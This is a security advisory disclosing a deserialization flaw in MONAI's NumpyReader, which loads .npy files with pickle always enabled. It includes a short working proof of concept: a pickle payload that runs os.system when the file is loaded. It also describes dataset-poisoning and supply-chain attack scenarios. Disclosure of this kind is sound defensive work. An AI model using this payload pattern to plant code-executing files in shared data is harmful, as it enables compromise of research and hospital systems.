PT-2026-83384 · Pypi · Monai
Published
2026-08-18
·
Updated
2026-08-18
CVSS v3.1
7.8
High
| Vector | AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
Summary
The
NumpyReader class in monai/data/image reader.py unconditionally uses np.load(name, allow pickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allow pickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allow pickle").Details
Vulnerable code ([permalink](https://github.com/Project-MONAI/MONAI/blob/5b71547/monai/data/image reader.py#L1276)):
python
# monai/data/image reader.py, line 1276, in NumpyReader.read()
img = np.load(name, allow pickle=True, **kwargs )The
NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.The
allow pickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the reduce method.Compare with safe practices in the same project:
The MONAI project has already addressed similar deserialization issues in other code paths:
torch.loadcalls now useweights only=True(after GHSA-6vm5-6jv9-rjpj)PersistentDatasetdefaults toweights only=True(line 272-275 of dataset.py)
However,
NumpyReader was not included in these security improvements.Additionally, the
NPZDataset class in the same project correctly uses the default allow pickle=False (permalink):python
# monai/data/dataset.py, line 1433 — safe usage
dat = np.load(npzfile) # allow pickle defaults to FalseThis inconsistency shows that
NumpyReader was overlooked during security hardening.The user cannot override this behavior:
python
# monai/data/image reader.py, line 1233 (docstring)
# kwargs: additional args for `numpy.load` API except `allow pickle`.The hardcoded
allow pickle=True on line 1276 overrides any user attempt to set it via kwargs.Data flow:
- User creates a data pipeline with
LoadImagetransform or uses any MONAI dataset class - A
.npyor.npzfile is provided as input (e.g., as part of a shared medical dataset) LoadImageselectsNumpyReaderbased on file extensionNumpyReader.read()callsnp.load(name, allow pickle=True)- Malicious pickle payload in the
.npyfile executes arbitrary code
PoC
python
#!/usr/bin/env python3
"""PoC: RCE via NumpyReader allow pickle=True in MONAI"""
import os
import tempfile
import numpy as np
class MaliciousPayload:
def reduce (self):
return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai rce proof.txt',))
tmpdir = tempfile.mkdtemp(prefix="monai poc ")
malicious npy = os.path.join(tmpdir, "malicious mask.npy")
np.save(malicious npy, np.array(MaliciousPayload()), allow pickle=True)
# With MONAI installed:
from monai.data.image reader import NumpyReader
reader = NumpyReader()
data = reader.read(malicious npy)
# Verify RCE
proof = "/tmp/monai rce proof.txt"
if os.path.exists(proof):
print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}")
os.remove(proof)
os.remove(malicious npy)
os.rmdir(tmpdir)Output:
[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executedImpact
An attacker can achieve arbitrary code execution on any machine running MONAI by:
-
Dataset poisoning: Placing a malicious
.npyfile in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes. -
Supply chain attack: Contributing a malicious
.npyfile to a MONAI tutorial, example, or bundle that other users download and run. -
Lateral movement in medical environments: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.
This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).
Fix
Deserialization of Untrusted Data
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Monai